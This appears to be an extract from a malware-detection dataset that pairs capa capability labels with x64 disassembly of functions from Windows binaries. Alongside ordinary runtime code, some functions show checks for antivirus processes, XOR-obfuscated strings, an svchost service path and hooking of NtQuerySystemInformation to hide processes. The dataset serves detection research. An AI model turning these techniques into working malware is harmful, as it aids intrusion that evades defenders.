joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140025453
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14004b200]
jne 0x1400214ca
rol rcx, 0x10
test cx, 0xffff
jne 0x1400214c6
repz ret
ror rcx, 0x10
jmp 0x1400253ac
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140050eb0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140050fa8]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140025431
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140050eb0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140025453
mov rax, qword [rsp + 0x88]
mov qword [0x140050fa8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140050f48], rax
mov rax, qword [0x140050fa8]
mov qword [0x140050e20], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140050f30], rax
mov dword [0x140050e10], 0xc0000409
mov dword [0x140050e14], 1
mov rax, qword [0x14004b200]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14004b208]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140050ea8], eax
mov ecx, 1
call fcn.14002c3ac
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14003c3a0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140050ea8], 0
jne 0x1400254da
mov ecx, 1
call fcn.14002c3ac
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14002bed8
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.140024f58
xor ebx, ebx
mov rdi, rax
cmp qword [0x140051750], rbx
jne 0x14002bfde
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14002c0b3
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14002c0b3
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x14003c510]
mov rcx, rsi
mov qword [0x140051750], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x14003c4f8]
mov rcx, rsi
mov qword [0x140051758], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x140051760], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x140051770], rax
test rax, rax
je 0x14002bfd5
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x140051768], rax
jmp 0x14002bfe5
mov rax, qword [0x140051768]
jmp 0x14002bfec
mov rax, qword [0x140051768]
mov r11, qword [0x140051770]
cmp rax, rdi
je 0x14002c054
cmp r11, rdi
je 0x14002c054
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x140051770]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x14002c054
test rax, rax
je 0x14002c054
call rsi
test rax, rax
je 0x14002c04e
lea rcx, [rsp + 0x88]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14002c04e
test byte [rsp + 0x38], 1
jne 0x14002c054
bts ebp, 0x15
jmp 0x14002c092
mov rcx, qword [0x140051758]
cmp rcx, rdi
je 0x14002c092
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14002c092
call rax
mov rbx, rax
test rax, rax
je 0x14002c092
mov rcx, qword [0x140051760]
cmp rcx, rdi
je 0x14002c092
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14002c092
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140051750]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14002c0b3
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x14002c0b5
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140002050
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
push r15
mov eax, dword [rcx + 0x48]
lea rbx, [rcx + 0x28]
mov rdi, qword [rcx]
lea r11, [rcx + 0x28]
add rbx, rax
mov r9, rcx
movabs rbp, 0xc2b2ae3d27d4eb4f
movabs rsi, 0x9e3779b185ebca87
movabs r14, 0x27d4eb2f165667c5
movabs r15, 0x7a1435883d4d519d
cmp rdi, 0x20
jb 0x140002149
mov r8, qword [r9 + 0x18]
mov rdx, qword [rcx + 8]
mov rax, r8
mov r9, qword [r9 + 0x20]
mov rcx, qword [rcx + 0x10]
mov r10, r9
rol r10, 0x12
rol rax, 0xc
add r10, rax
mov rax, rcx
rol rax, 7
add r10, rax
mov rax, rdx
rol rax, 1
add r10, rax
movabs rax, 0x85ebca77c2b2ae63
imul rdx, rbp
imul rcx, rbp
imul r8, rbp
imul r9, rbp
rol rdx, 0x1f
imul rdx, rsi
rol rcx, 0x1f
xor r10, rdx
rol r8, 0x1f
imul r10, rsi
imul rcx, rsi
imul r8, rsi
sub r10, r15
rol r9, 0x1f
xor r10, rcx
imul r10, rsi
imul r9, rsi
sub r10, r15
xor r10, r8
imul r10, rsi
sub r10, r15
xor r10, r9
imul r10, rsi
add rax, r10
add rax, rdi
jmp 0x140002151
lea rax, [rdi + r14]
add rax, qword [rcx + 0x18]
lea rdx, [r11 + 8]
cmp rdx, rbx
ja 0x14000218a
nop word [rax + rax]
mov rcx, qword [r11]
add rdx, 8
imul rcx, rbp
add r11, 8
rol rcx, 0x1f
imul rcx, rsi
xor rax, rcx
rol rax, 0x1b
imul rax, rsi
sub rax, r15
cmp rdx, rbx
jbe 0x140002160
lea rdx, [r11 + 4]
movabs r8, 0x165667b19e3779f9
cmp rdx, rbx
ja 0x1400021b5
mov ecx, dword [r11]
mov r11, rdx
imul rcx, rsi
xor rax, rcx
rol rax, 0x17
imul rax, rbp
add rax, r8
cmp r11, rbx
jae 0x1400021db
nop word [rax + rax]
movzx ecx, byte [r11]
inc r11
imul rcx, r14
xor rax, rcx
rol rax, 0xb
imul rax, rsi
cmp r11, rbx
jb 0x1400021c0
mov rbx, qword [rsp + 0x18]
mov rcx, rax
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
shr rcx, 0x21
xor rcx, rax
imul rcx, rbp
mov rbp, qword [rsp + 0x20]
mov rdx, rcx
shr rdx, 0x1d
xor rdx, rcx
imul rdx, r8
mov rax, rdx
shr rax, 0x20
xor rax, rdx
pop r15
pop r14
ret

Function at 0x14000a3d0
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor eax, eax
lea rbx, [rsp + 0x30]
mov rbp, rdx
mov word [rsp + 0x30], ax
movzx edx, byte [rcx]
mov rsi, rcx
lea edi, [rax + 0x28]
test dl, dl
je 0x14000a475
nop dword [rax]
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x14000a42d
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x14000a420
cmp rcx, 1
jb 0x14000a4a6
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x14000a443
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.140010150
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x14000a410
mov rdx, rbp
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14000b7e0
mov rbx, qword [rsp + 0xc0]
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret
call fcn.14000fe14
int3
Function at 0x14000a530
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x250
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdi, r8
lea rax, [rsp + 0x30]
mov rbx, rcx
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x14000a575
xor al, al
jmp 0x14000a5c2
cmp word [rbx], 0
je 0x14000a58d
nop dword [rax + rax]
add rbx, 2
dec rdi
cmp word [rbx], 0
jne 0x14000a580
cmp word [rsp + 0x30], 0
je 0x14000a5bb
lea rcx, [rsp + 0x30]
sub rcx, rbx
nop dword [rax]
cmp rdi, 1
jb 0x14000a5e3
movzx eax, word [rcx + rbx]
dec rdi
mov word [rbx], ax
add rbx, 2
cmp word [rcx + rbx], 0
jne 0x14000a5a0
xor eax, eax
mov word [rbx], ax
mov al, 1
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000b7e0
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
ret
call fcn.14000fe14
int3
Function at 0x14000ad70
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x2030
call fcn.14001ffc0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2020], rax
mov r11d, dword [0x140030dd4]
lea rsi, [0x140035e10]
mov rdi, rcx
test r11d, r11d
jne 0x14000ade9
mov r8d, 0x1000
lea rdx, str.HOME
lea rcx, [rsp + 0x20]
call fcn.14000a5f0
test al, al
je 0x14000aec9
lea rcx, [rsp + 0x20]
call fcn.140014510
movsxd r11, dword [0x140030dd4]
mov qword [rsi + r11*8], rax
inc r11d
mov dword [0x140030dd4], r11d
xor r9d, r9d
test r11d, r11d
jle 0x14000ae24
mov r10, rsi
mov r8, qword [r10]
mov rax, rdi
sub r8, rdi
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14000ae14
add rax, 2
test ecx, ecx
jne 0x14000ae00
test edx, edx
je 0x14000ae47
inc r9d
add r10, 8
cmp r9d, r11d
jl 0x14000adf4
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000ae30
cmp rax, 2
jne 0x14000ae4b
cmp word [rdi + 2], 0x3a
jne 0x14000ae4b
mov al, 1
jmp 0x14000aea8
xor edx, edx
mov qword [rsp + 0x2048], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
setne bl
test eax, eax
jne 0x14000ae76
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000ae9d
mov bl, 1
cmp dword [0x140030dd4], 0x400
jge 0x14000ae9d
mov rcx, rdi
call fcn.140014510
movsxd rdx, dword [0x140030dd4]
mov qword [rsi + rdx*8], rax
inc edx
mov dword [0x140030dd4], edx
movzx eax, bl
mov rbx, qword [rsp + 0x2048]
mov rcx, qword [rsp + 0x2020]
xor rcx, rsp
call fcn.14000b7e0
mov rsi, qword [rsp + 0x2050]
add rsp, 0x2030
pop rdi
ret
lea rcx, str.HOME
call fcn.14000ac10
int3
Function at 0x14000aff0
Capabilities:
Check if file exists
Delete file
Get file attributes
Terminate process

Disassembly:
sub rsp, 0x68
mov rcx, qword [0x140030dd8]
test rcx, rcx
je 0x14000b02b
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000b01e
mov rcx, qword [0x140030dd8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [0x140030dd8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x140030de8], 0
je 0x14000b11e
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x78], rbp
lea rbp, [0x14002a8b8]
mov qword [rsp + 0x80], rsi
lea rsi, [0x140033610]
mov qword [rsp + 0x88], rdi
xor edi, edi
mov qword [rsp + 0x60], r14
mov r14d, 0x414
mov word [rsp + 0x40], r14w
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000b0ff
test al, 0x10
je 0x14000b0ff
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov word [rsp + 0x40], r14w
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
inc ebx
cmp ebx, 0x14
jl 0x14000b0a5
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov r14, qword [rsp + 0x60]
add rsp, 0x68
ret
Function at 0x14000c0a0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000c0ea
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000c0ea
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000c0ea
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000c0ea
cmp dword [rcx + 0x84], 0xe
jbe 0x14000c0ea
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000c0ec
xor al, al
add rsp, 0x28
ret

Function at 0x14000fe08
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000fc73
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000fc73
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000fc73
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000fc73
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000fc73
cmp dword [rcx + 0x84], 0xe
jbe 0x14000fc73
cmp dword [rcx + 0xf8], 0
je 0x14000fc73
mov ecx, ebx
call fcn.14000fd24
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000fb00
nop
cmp dword [rbp + 0x20], 0
je 0x14000fcc1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000fccc
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000fc04
Function at 0x1400193f4
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14001947b
mov rsi, rbx
cmp word [rax], bp
je 0x14001943a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140019424
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140019420
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140016c24
mov rdi, rax
test rax, rax
je 0x140019468
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400206d0
mov rbp, rdi
xor ecx, ecx
call fcn.140015c48
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001ba44
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001ba5a
mov al, 1
jmp 0x14001baba
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001ba6b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001bab8
mov ecx, dword [rcx + 0x18]
nop
call fcn.140019b98
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001bab8
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001bab8
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001bab8
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001baba
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x14001fed0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001fef8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001fef8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x180002754
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
call fcn.180003854
and dword [rbp + 0x10], 0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
lea rdx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
mov eax, dword [rbp + 0x10]
lea rdx, [rbp - 0x40]
and qword [rbp - 0x40], 0
xorps xmm0, xmm0
and dword [rbp - 0x14], 0
mov r8d, gethostname
and dword [rbp - 0x18], 0
mov rcx, rbx
and dword [rbp - 0x10], 0
and qword [rbp - 0x28], 0
movdqu xmmword [rbp - 0x38], xmm0
mov dword [rbp - 0xc], 0x2072024
mov dword [rbp - 0x1c], 0x11000
mov dword [rbp - 0x20], eax
call qword [rbx + 0x28]
mov rcx, rbx
call fcn.180011170
mov rdi, rax
call fcn.180011750
mov qword [0x1800649c0], rax
call fcn.180011750
mov qword [0x1800649b8], rax
call fcn.180006818
and qword [rsp + 0x28], 0
lea r8, [0x180002614]
and dword [rsp + 0x20], 0
mov r9, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x1800027ee
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800027ee
Function at 0x18000282c
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r14
push rbp
lea rbp, [rax - 0x768]
sub rsp, 0x860
lea rcx, str.360Tray.exe
call fcn.180015684
xor edi, edi
lea rcx, str.ZhuDongFangYu.exe
test eax, eax
mov ebx, edi
setne bl
call fcn.180015684
test eax, eax
lea ecx, [rdi + 1]
mov r14d, 0x208
cmovne ebx, ecx
mov r8d, r14d
xor edx, edx
lea rcx, [rsp + 0x20]
call sub.ntdll.dll_memset
mov r8d, 0x104
lea rdx, [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x1800028b4
lea rcx, [rsp + 0x20]
call fcn.18001e830
jmp 0x1800029e8
test ebx, ebx
je 0x1800028c8
call fcn.180016580
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x180064794]
call fcn.18000c7a0
lea r8, [0x180064794]
lea rdx, [rsp + 0x20]
lea rcx, [0x18006485c]
call fcn.18000c8d4
mov r8, r14
lea rcx, [rbp + 0x130]
xor edx, edx
call sub.ntdll.dll_memset
mov edx, 0x5c
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll_wcsrchr]
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x130]
mov word [rax], di
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
cmp dword [0x1800649b0], edi
je 0x1800029c8
mov r8, r14
lea rcx, [rbp + 0x340]
xor edx, edx
call sub.ntdll.dll_memset
lea r9, [0x1800648c0]
lea r8, [rbp + 0x130]
lea rdx, str._s_s
lea rcx, [rbp + 0x340]
call qword [sym.imp.USER32.dll_wsprintfW]
lea r8, [0x180064794]
lea rdx, [rbp + 0x340]
lea rcx, [0x1800648c0]
call fcn.18000c8d4
mov r8, r14
lea rcx, [rbp + 0x550]
xor edx, edx
call sub.ntdll.dll_memset
lea r9, [0x180064924]
lea r8, [rbp + 0x130]
lea rdx, str._s_s
lea rcx, [rbp + 0x550]
call qword [sym.imp.USER32.dll_wsprintfW]
lea r8, [0x180064794]
lea rdx, [rbp + 0x550]
lea rcx, [0x180064924]
call fcn.18000c8d4
lea rcx, [0x180063f30]
call fcn.18000ca64
test ebx, ebx
je 0x1800029e8
mov ecx, 0x1f40
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180016770
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea r11, [rsp + 0x860]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r14, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x180002ccc
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x28
mov r10, r8
movsxd r8, edx
test edx, edx
jle 0x180002cec
mov rdx, rcx
mov r9, r8
xor byte [rdx], 0x3a
inc rdx
sub r9, 1
jne 0x180002ce0
mov rdx, rcx
mov rcx, r10
call qword [sym.imp.ntdll.dll_memcpy]
mov eax, 1
add rsp, 0x28
ret

Function at 0x180002d04
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rbx
sub rsp, 0x230
or qword [rax + 8], 0xffffffffffffffff
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, 0x208
call sub.ntdll.dll_memset
mov edx, 0x64
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x180002d40
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._svchost.exe__k_netsvcs
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
call fcn.18000c5e0
mov r8d, dword [0x1800649d8]
lea r9, [rsp + 0x240]
mov rdx, qword [0x1800649d0]
lea rcx, [rsp + 0x20]
mov rbx, rax
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, rbx
call fcn.18000c770
mov rax, qword [rsp + 0x240]
add rsp, 0x230
pop rbx
ret

Function at 0x180002d94
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x60
lea rcx, str.360Tray.exe
call fcn.180015684
xor ebx, ebx
lea rcx, str.ZhuDongFangYu.exe
test eax, eax
setne bl
call fcn.180015684
mov ecx, 1
mov dword [rbp - 0x40], 0x3a593a69
test eax, eax
mov dword [rbp - 0x3c], 0x3a5f3a52
xorps xmm0, xmm0
mov dword [rbp - 0x38], 0x3a4f3a5e
cmovne ebx, ecx
mov dword [rbp - 0x34], 0x3a5f3a56
lea edx, [rcx + 0x10]
mov byte [rbp - 0x30], 0x3a
xor eax, eax
lea rcx, [rbp - 0x40]
lea r8, [rbp - 0x28]
mov word [rbp - 8], ax
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
call fcn.180002ccc
lea rcx, [rbp - 0x28]
call fcn.180015e90
mov edi, eax
test eax, eax
je 0x180002e69
test ebx, ebx
je 0x180002e33
call fcn.180016580
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
and qword [rbp + 0x10], 0
call fcn.18000c5e0
mov r8d, dword [0x1800649d8]
lea r9, [rbp + 0x10]
mov rdx, qword [0x1800649d0]
mov ecx, edi
call qword [rax]
test ebx, ebx
je 0x180002e6e
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180016770
jmp 0x180002e6e
call fcn.180002d04
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x180002f28
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
mov rax, qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
xor ecx, ecx
mov qword [0x1800649f0], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
movsxd rcx, dword [rax + 0x3c]
mov ebx, dword [rcx + rax + 0x90]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
add rbx, rax
mov qword [rsp + 0x38], rbx
jmp 0x180002ff1
cmp dword [rbx + 0x10], 0
je 0x180002ffa
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, dword [rbx + 0x10]
add rdi, rax
mov qword [rsp + 0x38], rdi
jmp 0x180002fe5
cmp rax, qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
jne 0x180002fe1
lea r9, [rsp + 0x30]
mov edx, 0x1000
mov r8d, 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [0x180003008]
mov r8d, 8
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x38], rax
mov rcx, rdi
call qword [sym.imp.ntdll.dll_memcpy]
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov edx, 0x1000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rdi, 8
mov rax, qword [rdi]
test rax, rax
jne 0x180002f87
add rbx, 0x14
cmp dword [rbx], 0
jne 0x180002f68
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret